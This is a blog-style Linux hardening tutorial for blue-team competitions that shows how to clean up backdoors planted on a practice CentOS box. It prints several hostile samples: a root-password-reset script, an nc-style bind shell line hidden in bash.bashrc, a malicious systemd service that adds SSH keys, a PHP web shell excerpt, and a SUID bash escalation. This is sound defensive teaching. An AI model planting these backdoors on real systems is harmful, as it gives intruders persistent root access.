# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

...

What you'll notice first is that there are a ton of commented options. These are the default options, and they're included in the configuration so you can see what the default values are. So, we're concerned with things that are NOT commented.

Looking at just those:

PermitRootLogin yes
PubkeyAuthentication yes
PermitEmptyPasswords yes
UsePAM yes
UseDNS yes
Match User root
  ForceCommand /bin/tomfoolery

Hmm...

PermitRootLogin: should we allow root to log in through SSH? Default is no. This one can be controversial. I personally leave this enabled, since I log in as root anyway. My philosophy is that logging in as a low-priv user and escalating is more noisy and risky than just logging in as root. If you escalate, you'll have use sudo or su, run a bunch more profile and rc scripts, and that's what the red team is expecting you to do. However, conventional wisdom says to disable this. YMMV.

PubkeyAuthentication: should be permit public key authentication? If you haven't heard of this before, you can use really long magic numbers to prove your identity to the server without using a password. It's enabled by default, but unless you're using keys, you should disable it, since public keys can be used as a way to persist once you've changed a user's password.

PermitEmptyPasswords: exactly what it says on the tin. Disable this. With this option, our blank root password from earlier could be taken advantage of over SSH.

UsePAM: another controversial option. You can disable this and make SSH check /etc/shadow manually. If you're using a default install with no weird auth, this is "more secure," since it doesn't rely on PAM. However, it makes it easier to brute force passwords, since SSH responds to failed attempts quicker. This is "yes" by default on most distros.

UseDNS: should we look up remote host names and verify that the IP connecting checks out? I always disable this, since it offers marginal, if any, security gains, and can make the login process take much longer (which could lead to a service check failing).

ForceCommand: run this command when users log in, instead of their login shell (like /bin/bash). This is highly suspect, so let's check out /bin/tomfoolery to see what it's running.

cat /bin/tomfoolery

# teehee. vous etes pranked, monsieur root
echo "root:Password1!" | chpasswd
iptables -F; iptables -X; iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT
/bin/bash

How mischievous. This configuration, since wrapped by the Match User option, will only run when root logs in. So let's just remove those two lines in sshd_config, and remove the /bin/tomfoolery script.

Once we have the biggest configuration holes fixed, make sure to restart the service:

systemctl restart sshd

And if SSH goes down on the scoreboard, you screwed something up! (Or if it's one of our comps, perhaps the person who wrote the scoring engine is woefully incompetent). Hope you backed it up.

SMB

SMB, or samba on Linux, is a file sharing service that's compatible with Micro$oft Windblow's Server Message Block protocol, famous for being exploited every couple years. It's not great Linux either, but we run it because we hate ourselves.

The configuration for this is usually pretty simple, just make sure there are no wild options or extra shares. It lives in /etc/samba/smb.conf. You can comment lines with # or ;.

vim /etc/samba/smb.conf

# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options (perhaps too
# many!) most of which are not shown in this example
#
...
[global]

# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH
   workgroup = MYGROUP

# server string is the equivalent of the NT Description field
   server string = Samba Server
# Uncomment this if you want a guest account, you must add this to /etc/passwd
# otherwise the user "nobody" is used
   guest account = remy

...

[homes]
   comment = Home Directories
   browseable = no
   writable = yes

# Un-comment the following and create the netlogon directory for Domain Logons
; [netlogon]
;   comment = Network Logon Service
;   path = /usr/local/samba/lib/netlogon
;   guest ok = yes
#

[maliciousShareLol]
path = /root
browseable = yes
guest ok = yes
writable = yes
public - yes

[coolRecipes]
path = /srv/recipes
writable = yes
browseable = yes
...

We have the general options at the top, and the share definitions below it. By default, [homes] is defined, allowing any user to log in and read/write to their home folder. You can and should disable this if it's not scored.

log file = /var/log/samba/%m.log

As you may be able to guess (but be careful of guessing!), the section maliciousShareLol above defines a file share that is... malicious. However, that /root share won't work unless the logged in user has permission to read files in it, so hopefully it isn't. Speaking of, it looks like the guest account is remy, which is not super secure, especially since he's an administrator-- someone could log in as him via the guest account and read/write files as him.

To remediate, we remove the whole maliciousShareLol section, and change the guest user to nobody. I would also remove the home shares (assuming they are not scored), and remove writability from the scored share. Like this:

# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options (perhaps too
# many!) most of which are not shown in this example
#
...
[global]

# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH
   workgroup = MYGROUP

# server string is the equivalent of the NT Description field
   server string = Samba Server
# Uncomment this if you want a guest account, you must add this to /etc/passwd
# otherwise the user "nobody" is used
   guest account = nobody

...

;[homes]
;   comment = Home Directories
;   browseable = no
;   writable = yes

# Un-comment the following and create the netlogon directory for Domain Logons
; [netlogon]
;   comment = Network Logon Service
;   path = /usr/local/samba/lib/netlogon
;   guest ok = yes
#

[coolRecipes]
path = /srv/recipes
browseable = yes
...

And that should do it! Remember to restart the service.

systemctl restart samba

As a tip, you can test your samba configuration syntax and validity with testparm. Don't ask me why it's called something so generic.

HTTP

The two most popular web servers for Linux are apache2 (also called httpd on RHEL-based systems, which CentOS is one of) and nginx. We're using httpd here. Configurations for this service live in /etc/httpd/conf/httpd.conf and /etc/httpd/conf.d (a little different, but I hope you're seeing a pattern here with these configuration paths).

# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# [blah blah blah]

User apache
Group apache

# Further relax access to the default document root:
<Directory "/var/www/html">
    Options Indexes FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

# [snip]

#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel emerg

# [snip]

IncludeOptional conf.d/*.conf

Honestly, I hardly ever touch this configuration. The only thing that it's really useful for is preventing people from reading certain files, turning off open indexes, and reducing information disclosure (e.g., ServerTokens Prod and ServerSignature Off). For this type of competition, realistically, that doesn't really too much, so don't make it top priority.

In the above config, I would change the LogLevel to be error rather than emerg, since you can catch a lot of botched (or working!) exploits via the error log when it prints more. The User and group directives seem juicy, but it's actually a pain to run httpd as root, and we can see that they're using the default value of apache. Finally, we don't want open indexes, so we delete Options Indexes for /var/www/html, which is where our website is. On this system, conf.d/ only has default configurations, but make sure to always check. Our edited config looks something like this:

# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# [blah blah blah]

User apache
Group apache

# Further relax access to the default document root:
<Directory "/var/www/html">
    Options FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

# [snip]

#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel error

# [snip]

IncludeOptional conf.d/*.conf

Once you do that, and anything else you think may be important, check that your configuration is valid:

httpd -t

Assuming we're good, restart the service:

systemctl restart httpd

Per usual, what the web server is actually serving is much more interesting.

ls -la /var/www/html/

drwxr-xr-x. 2 root root    51 Nov  5 18:16 .
drwxr-xr-x. 4 root root    33 Nov  5 14:53 ..
-rw-r--r--. 1 root root   339 Nov  5 18:16 index.php
-rw-r--r--. 1 root root  1679 Nov  5 18:16 key
-rw-r--r--. 1 root root 16980 Nov  5 18:16 shell.php

Hmm, I'm no scientist, but shell.php looks suspicious.

head /var/www/html/shell.php

<?php

function featureShell($cmd, $cwd) {
   $stdout = array();

   if (preg_match("/^\s*cd\s*$/", $cmd)) {
       // pass
   } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
       chdir($cwd);
       preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
       chdir($match[1]);
   } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
...

Yup, that's p0wny shell. Let's perform our due diligence and make sure the scoring engine isn't using it:

cat /var/log/httpd/access_log | grep "shell.php"

10.31.0.6 - - [05/Nov/2021:18:17:32 -0500] "GET /shell.php HTTP/1.1" 200 14375 ...
10.31.0.6 - - [05/Nov/2021:18:17:36 -0500] "POST /shell.php?feature=pwd HTTP/1.1" 200 26 ...
10.31.0.6 - - [05/Nov/2021:18:17:37 -0500] "POST /shell.php?feature=shell HTTP/1.1" 200 67 ...

Nothing recent, looks like the image creator was just testing it. Safe to delete! Key is suspicious too, but let's investigate the index first:

cat index.php

<?php

echo "Qu'ils" . " mangent du gâteau!";

?>

Les hommes, pour trop longtemps, avait supprimer les peuples du France,<br>
et especiallement les rats et les autres rodents du Paris. Pas plus!<br>
On vas tuer tous ceux qui s'opposent a nous.<br>

Cliquez-vous sur notre sites:<br>
<a href="/key">key</a>
<a href="/shell.php">shell</a>

Some useless PHP, bad French, and links to our two other files. That string manipulation is to provide some defense against a competitor just disabling PHP-- it's likely that the string Qu'ils magent du gâteau is scored, and disabling PHP will make the string concatenation (with .) not work.

cat key

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAvCAAOmUN+UyLdVBYQNyxSzGVJ0P1ijZbmRM8mAtVeGeL26sK
/juQne90Dqe7V8ZSH1QycguswE7wTap4oeBT0xrFIJycX2nRen0ebh1Hi5oR2gwt
Qnmotcv7UM8mUwnBOPy/FhgKQ76oityfeIB10jBiOQGloeNHXGouQSsT6Auvxp9b:
...

Looks like key is just an RSA key, which could be an SSH key. We already prevented key usage with our SSH config, but it's possible that this is this key is used for some other server as well, so it's best to delete it (after ensuring it's not scored).

Now that we know our server is using PHP, we should harden php.ini, and prevent further PHP shells or backdoors we may have missed from being useful. Usually, there are a couple php.ini files for different use cases (from command line, via Apache2, etc), but there's only one on this system.

Of the php.ini hardening options, the most important is disable_functions, which will prevent any kind of local shell command execution. Sometimes, image developers will be very mean and make system part of the scored functionality, meaning you'll have to rewrite part of the webapp. And sometimes, real webapps will rely on these functions, but it's rare. Luckily, neither are the case here.

vim /etc/php.ini

And we add our hardening options to the file. You can throw them on the bottom, or find each option and set it.

disable_functions = shell_exec, exec, passthru, proc_open, popen, system, phpinfo
max_execution_time = 3
allow_url_fopen = off
allow_url_include = off
display_errors = off
session.cookie_secure = 1

Restart the service, and that should cover it for the security of our web server.

Anti-Persistence

There are a ton of ways to run code on your system automatically, or when certain events occur. Your goal with removing persistence is to:

1. Reduce the number of these mechanisms active, and
2. Carefully enumerate the ones that remain.

What sucks is, operating systems are really good at running code! Big bummer. We can try to fight back, though. The most common persistence mechanisms are:

Cron

See the processes section above about our friend cron.

Profile and RC

Whenever you run your terminal, or start your computer, or do some thing, there's code running to do that. Often, that code pulls in some number of "run command" (rc) files. Yadda yadda, someone puts chpasswd in your .bashrc and you get dunked on.

We're going to ignore init.d files, because those are more like services, and they've been replaced by systemd on this system (unfortunately). Here are the ones you want to worry about:

1. .bashrc (or .zshrc, etc): your shell's rc file is run every time you run your shell, which is every time you log in.
2. .profile: supposed to set up your locale, environment, etc.

The tricky thing is, these files have an /etc/ equivalent for use when there's no .<filehere> in the user's home folder. So, you also need to check or delete these.

1. /etc/bash.bashrc
2. /etc/profile and /etc/profile.d

There are a couple obscure ones as well, like /etc/input.rc and /etc/rc.local. And for user files, a new home folder gets created, it copies files from /etc/skel. What if that .bashrc has some malicious code in it? AHHH! It's too much. If you check all these places, and crack down on processes and listening ports are specified earlier, then you should be in a better place, at least.

On our machine, let's briefly check all the files, delete /etc/profile (what has it ever done for me?), nuke all the user files, then audit /etc/bash.bashrc.

Keep in mind that removing these files will impact your shell in some way (maybe you lose your colors, prompt, or tab completion). If this worries you, delete everyone's files except for you user.

Let's just pretend like we looked at the files, then get to the fun part:

# Move profile files so they don't get loaded (yes this is cheese)
mv /etc/prof{i,y}le.d; mv /etc/prof{i,y}le

# Remove all common runcommand files in /home and /root
for f in ('~/.profile' '~/.bashrc' '~/.bash_login'); do
    find /home /root -iname "$f" -delete
done

Now let's look at /etc/bash.bashrc.

vim /etc/bash.bashrc

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# [blah blah blah, edited for brevity]

# Commented out, don't overwrite xterm -T "title" -n "icontitle" by default.
# If this is an xterm set the title to [email protected]:dir
#case "$TERM" in
#xterm*|rxvt*)
#    PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"'
#    ;;
#*)
#    ;;
#esac

# Wait what's this?
pgrep yort || yort -lvnp 9997 -e /bin/bash

# enable bash completion in interactive shells
#if [ -f /etc/bash_completion ]; then
#    . /etc/bash_completion
#fi

# sudo hint
if [ ! -e $HOME/.sudo_as_admin_successful ]; then
    case " $(groups) " in *\ admin\ *)
    if [ -x /usr/bin/sudo ]; then
	cat <<-EOF
	To run a command as administrator (user "root"), use "sudo <command>".
	See "man sudo_root" for details.

	EOF
     fi
    esac
fi

It appears the lazy image author has snuck in yet another cheap nc shell. Get some new ideas!

rm `which yort`
sed -i "/pgrep/d" /etc/bash.bashrc

But otherwise, our RC files seem pretty clean. Fantastic, now we can move on with our lives.

SUID and SGID Binaries

Some binaries have additional capabilites. They were Gifted the ancient Powers of assuming Identity of the Chosen UID. When you run a SUID (Set UID) or SGID (Set GID) binary, it will run with the permissions of whichever user or group owns the binary. This means that if someone "accidentally" makes the wrong program SUID, say, /bin/bash, anyone can use it to escalate to root.

You can find these binaries by looking for the SUID/SGID permission bits. You'll notice the same /dev/null thing from before, because I don't want to see the permission errors from it trying to read some magic files /proc/.

find / -xdev -perm -4000 2>/dev/null

/usr/bin/bash
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/mount
/usr/bin/chage
/usr/bin/su
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper

Alright, looks good... except wait, /bin/bash?

If you run /bin/bash as a non-root user, you'll notice it looks like this:

[bash-5.0 ~]$

It should say my username (remy)! This is a telltale sign of /bin/bash being SUID. You may have also noticed that, uh, I ran the SUID binary, and I'm not root! What gives?

Trying to be helpful, bash will automatically drop your permissions from root when it's SUID. You can make it preserve that SUID bit by passing -p:

[bash-5.0 ~]$ bash -p

[root@havre /home/remy]#

You can tell by the username and the octothorpe # that you are now, in fact, root.

We also investigated /bin/lol off stream and realized it was a lazy copy of /bin/bash. They should've named it dbus-openssh or something. Stupid image creator.

You should remove the SUID bit from the legit binaries with:

chmod u-s /bin/bash

To remove SGID (set group id), do chmod g-s <binary-here>.

Everything else on that list is legit (they need SUID to like, change global files or something), but that doesn't mean the binaries themselves are not backdoored. For this, you can run rpm -V to verify your packages, or debsums -ca on Debian-based systems.

Malicious Services

Geez, what ISN'T malicious? This section will briefly cover malicious systemd services, since that's the trashware we're stuck with on this CentOS box. This is kind of crapshoot, but you can look for overtly malicious things.

You can list all running /units/ with:

systemctl list-units

Or my favorite:

systemctl | grep running

Or just service files:

systemctl list-units -t service

If you run some of those, you'll get something that looks like this:

init.scope             loaded active running   System and Service Manager
session-1.scope        loaded active running   Session 1 of user remy
colord.service         loaded active running   Generate Color Profiles
cups.service           loaded active running   CUPS Scheduler
[etc, etc, snipped]
ssh.service            loaded active running   OpenBSD Secure Shell server
systemd-udevd.service  loaded active running   udev Kernel Device Manager
inspecteur.service     loaded active running   Active memory management module
snapd.socket           loaded active running   Socket activation for snappy

Browse through this mind-numbing list, or the one above that I removed 80% of the services from, and you may notice inspecteur.service, with a description of Active memory management module. That makes about as much sense as networkd-dispatcher.service ("Dispatched daemon for systemd-networkd"), but this one is actually fake, and your machine has doth been hoodwinked.

From here, we investigate what the service does, since we think it's malicious. If we want to see every option for the service, we can use:

systemctl show inspecteur

If we care about our sanity, we should instead find the service file and just read it. Most service files live in /lib/systemd/system/, and some in /etc/systemd/system. Lucky for us:

find /lib/systemd -iname "*inspecteur*"

/lib/systemd/system/inspecteur.service

Got em. Now we can read the file:

[Unit]
Description=Active memory management module
After=network.target

[Service]
ExecStart=/usr/lib/maliciousfilelol.sh

[Install]
WantedBy=multi-user.target

I see, it's calling a script. If we read /usr/lib/maliciousfilelol.sh:

#!/bin/sh
echo "root:Password1!" | chpasswd
iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT
echo "[redacted long pubkey]" > /root/.ssh/authorized_keys

Classic shenanigans. We dislike and thus unlink this file, and crunk the service, then call it a day.

rm /usr/lib/maliciousfilelol.sh
rm /root/.ssh/authorized_keys # Because it was writing pubkeys here

systemctl stop inspecteur
systemctl disable inspecteur
rm /lib/systemd/system/inspecteur.service

Trojan Binaries

Being the /Trojans/, we must be familiar with these. A trojan(ed) program is any binary or script that acts normally but has some backdoor or undesirable epic hacks, for example, if I recompiled ls after adding a call to system that spawns a netcat listener.

Conventionally, we find these by checking signatures and checksums. On debian, this is debsums -ac, and on CentOS, it's:

rpm -Va

It will verify each package, where the things on the side tells you what changed. You can read more at man rpm.

In general, these are tough to confirm remediation of, because like rootkits, the game goes all the way down. Okay, ls is backdoored. What is rpm is backdoored to not tell me? What if sha256sum is backdoored to show me the wrong hash for certain binaries? What if GPG is patched to accept any signature? And so on.

The only real solution here, a lot like good rootkits, is prevention. Often we can't do that, so we'll just hope that these verification measures work, and keep an eye out for things that seem strange.

Hardening

Permissions

File permissions rule the land. Userland, that is.

As mentioned earlier, for most files by default, the ACL (access control list) system in place controls read, write, and execute permissions for owners of a file, group members of a file, and everyone else.

ls -la /bin/bash

-rwxr-xr-x 1 root root 1336256 Oct  8 11:31 /bin/bash

-          rwx     r-x      r-x      root     root
^ Special  ^ User  ^ Group  ^ Other  ^ Owner  ^ Group

The biggest danger, and one that's easy to check for, is files that are writable by anyone (world writable files):

find / -perm -o+w -not -type l 2>/dev/null

This is saying "find all files that are not symlinks, where other has write permissions, and don't print any errors (put them in /dev/null)."

On our box, this results in:

/etc/shadow
[bunch of garbage in proc]
[bunch of garbage in var]
/tmp/dbus-e10ckWWM5E
/tmp/.ICE-unix
/tmp/.X11-unix

You can ignore pretty much everything in /tmp, since that's world writable by design. And /proc isn't a real filesystem. But, if you find a file that should not be world writable, for example, /etc/shadow, then remove the other-writable bit with:

chmod o-w /etc/shadow

Keep in mind that /etc/shadow should not be world /readable/ either.

Permissions are tough because there are so many different "correct" setups. But really only /etc/shadow is read sensitive, and removing world writability for the rest should be sufficient.

Firewall

Oh firewall, how we adore you. The great catchall, stopper of egress, inspector of what is pure and good... and also the number one cause of your services being down. Firewalls seem easy to understand, but they're tricky. Usually it's due to your misunderstanding of networking, but still, they're tricky.

It's because of this fact that you need to exercise great caution when editing and applying your firewall rules, especially if you're logged in through SSH, and ESPECIALLY if your only way to access your machine is through SSH. Always double check your rules and always leave an escape hatch.

# Exit if any errors occur... much better than carrying on
set -e

# My poor fingers can't handle typing four more letters per line
ipt="iptables"

# Flush the current rules
$ipt -F; $ipt -X

# Allow services in. Since we have SSH, SMB, and HTTP, we want 22, 445, and 80
# We know these ports from `ss -plunt` earlier.
$ipt -A INPUT -p tcp -m multiport --dport 22,445,80 -j ACCEPT

# Allow connections that are established in and out.
# -m is a iptables module (which is actually a new kernel module!)
$ipt -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
$ipt -A OUTPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

# OPTIONAL: Some competitions require outbound connections on port 80 and 443.
# You'll also need these (and DNS) to be able to update via dnf/yum or apt.
$ipt -A OUTPUT -p tcp -m multiport --dport 80,443 -j ACCEPT
$ipt -A INPUT -p udp --dport 53 -j ACCEPT
$ipt -A OUTPUT -p udp --dport 53 -j ACCEPT

# Finally, the danger line: drop any traffic that doesn't match.
$ipt -P FORWARD DROP; $ipt -P OUTPUT DROP; $ipt -P INPUT DROP

Because we're both big losers, we want to put this in a script file (just put it in fw.sh or something), so we can run it easier with our escape hatch:

bash ./fw.sh; sleep 10; iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT

This will set up our firewall, and wait 10 seconds before allowing all traffic. So if we lose access to our SSH session because we made a mistake, we can just wait 10 seconds. If we didn't lose access, we can just interrupt it with CTRL-c before the sleep finishes.

And just like that, we should have a reasonably tight firewall setup. If possible, go to another machine, and test your rules. And please, please, please check that your services are still green on the scoreboard. Or if this isn't for a competition, make sure that nobody in your IRC channel is complaining about getting timed out when connecting to your website.

Kernel Configuration

The kernel, Linux, is the piece of software enabling you (and all your little daemon buddies) to talk to your hardware, run processes, have the concept of a filesystem, and a bunch of other stuff. Your main configuration is /etc/sysctl.conf.

There are a TON of options (see sysctl-explorer.net), but there are only a few that really matter.

vim /etc/sysctl.conf

# Enable SYN cookies
net.ipv4.tcp_syncookies = 1 

# Don't forward traffic
net.ipv4.ip_forward = 0

# IDK what Time-Wait Assassination is but it sounds awesome
net.ipv4.tcp_rfc1337 = 1 

# No, I don't want to handle your ICMP traffic
net.ipv4.icmp_ignore_bogus_error_responses = 1 
net.ipv4.conf.all.accept_redirects = 0 
net.ipv4.icmp_echo_ignore_all = 1 

# Don't expose kernel addresses in /proc. Have fun spraying, rootkitters!
kernel.kptr_restrict = 2 

# Prevent non-privileged kernel profiling.
kernel.perf_event_paranoid = 2 

# Enable ASLR! This makes it harder to exploit binaries.
kernel.randomize_va_space = 2 

# Don't let non-root use ptrace on other processes.
kernel.yama.ptrace_scope = 2

# Don't permit coredumps of SUID binaries (see SUID section).
fs.suid_dumpable = 0

Once you add your new options, ask sysctl to reload its configuration files with:

sysctl -p

Kernel Modules

The Linux kernel is monolithic, haven't you heard?

But it's really... 'modular monolithic,' if that means anything. Essentially, for every additional bit of functionality you need that isn't baked directly into the kernel, you need to insert a kernel module. This will be things that need to directly talk to hardware, the network stack, or anything else the kernel does and doesn't provide a userland interface for. For example, iptables typically inserts no less than !two! kernel modules. Check it out:

lsmod | grep tables

ip_tables              32768  1 iptable_filter
x_tables               49152  2 iptable_filter,ip_tables

But, as you may have predicted, being able to insert kernel modules to run arbitrary code at the highest possible privilege level is not a good look for security. This is why we need to enumerate the inserted kernel modules on a system. You should've taken a benchmark of inserted modules as soon as you logged into your machine. I forgot to tell you? Oops!

# Save kernel modules to a dated file
lsmod > kernel_modules_$(date | tr " " "_")

Then, when you get around to being paranoid again, just compare the list to the active lsmod output.

# Allow SSH and use conntrack with iptables, just to ensure that kernel modules are inserted
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

# Disable kernel module insertion (will require reboot to change back!)
/sbin/sysctl -w kernel.modules_disabled=1

Restricting Users

In my humble opinion, users have too much freedom. We can restrict their freedom by changing their shells to a restricted one, which will stop them from running commands, changing directories, or doing anything useful. But this typically won't break SSH scoring :). Good thing these aren't real users, or else we would get some angry phone calls.

Leave at least one account with a normal shell, preferably the account you are using to secure the machine. I personally just use root, because I live on the edge. But again, you need to be careful. If you lock yourself out of the only non-rbash account, you will have to perform a very unwelcome shell escape CTF challenge.

You can use the chsh utility, or if you're cool, vim /etc/passwd.

vim /etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
remy:x:1000:1000::/home/remy:/bin/bash
linguini:x:1001:1001::/home/linguini:/bin/bash
emile:x:1002:1002::/home/emile:/bin/bash

You can do a sed (stream editor)-like replace in vim. This will replace all bash shells with rbash (notice the cool non-standard '#' separator so we don't have to do forward-slash escapes):

:%s#/bin/bash#/bin/rbash#g

root:x:0:0:root:/root:/bin/rbash
bin:x:1:1:bin:/bin:/sbin/nologin
...
remy:x:1000:1000::/home/remy:/bin/rbash
linguini:x:1001:1001::/home/linguini:/bin/rbash
emile:x:1002:1002::/home/emile:/bin/rbash

Just remember to change back root to /bin/bash (or your preferred shell). Next time a user (or red teamer) logs in, they may be frustrated.

MACs

Sorry Apple brainwashees, MAC in this context stand for "Mandatory Access Control". These are kernel modules that restrict the system based on a set of rules.

The most popular, and the one installed on this box (CentOS) by default, is SELinux. It has a bad reputation for being horrifically complex, but luckily for us, most competition organizers don't want to touch it either, so we usually only need to turn it on or off.

If you don't have any reason not to, it's a good idea to enable it.

# Get SELinux status
sestatus

SELinux status:       disabled
...

# Enable SELinux enforcing
setenforce 1

# Make change persistent on reboot
vim /etc/selinux/config

SELINUX=enforcing

If your service is very strange or doing something insecure, and you're sure that you can't fix it, then you can turn SELinux off by running the previous commands, but the other way (setenforce 0 and set SELINUX=disabled in the config).

For Ubuntu, a similar system called AppArmor is present. You can download new profiles and begin enforcing them pretty easily.

apt install apparmor-utils apparmor-profiles
aa-enforce /etc/apparmor.d/*

If you plan to use AppArmor, you should read their documentation and get familiar with their commands and profiles.

Tips

Generally, I would recommend just browsing your file system and looking for malicious things. You'd be surprised how much stuff is just lying around.

If you're competing in some fashion (as long as I'm not competing as well), then you should make sure you have a checklist put together with all the resources and info you may need. Remember that it's only useful if you practice it.

Resources

If you got to this point, congrats! I hope it was useful for you and had some new information. The only main topic I didn't cover is monitoring (look into auditd if you're interested). Overall, I think this is a good starting point, and I would be excited to test new things against you as a red teamer :) However, the learning never ends!

For snippets and more useful checklist resources, you can visit the DSU DefSec Wiki, or the DSU DefSec Drive (if it's still up). This post is in the same vein as "DL102: Defense Against the Dark Arts on Linux", for which you can find a great rendition here: https://www.youtube.com/watch?v=EFgZPxpLKS0. Also useful for overall strategy is Mubix's http://howtowinccdc.com/.

But of course, the best resource and opportunity to learn is to enter as many competitions of this style that you can, and to practice and experiment by yourself. You can download an Ubuntu, Debian, or CentOS ISO, open it up in your hypervisor of choice (I am partial to qemu/kvm + virt-manager), and go ham on it.

Best of luck, and have fun!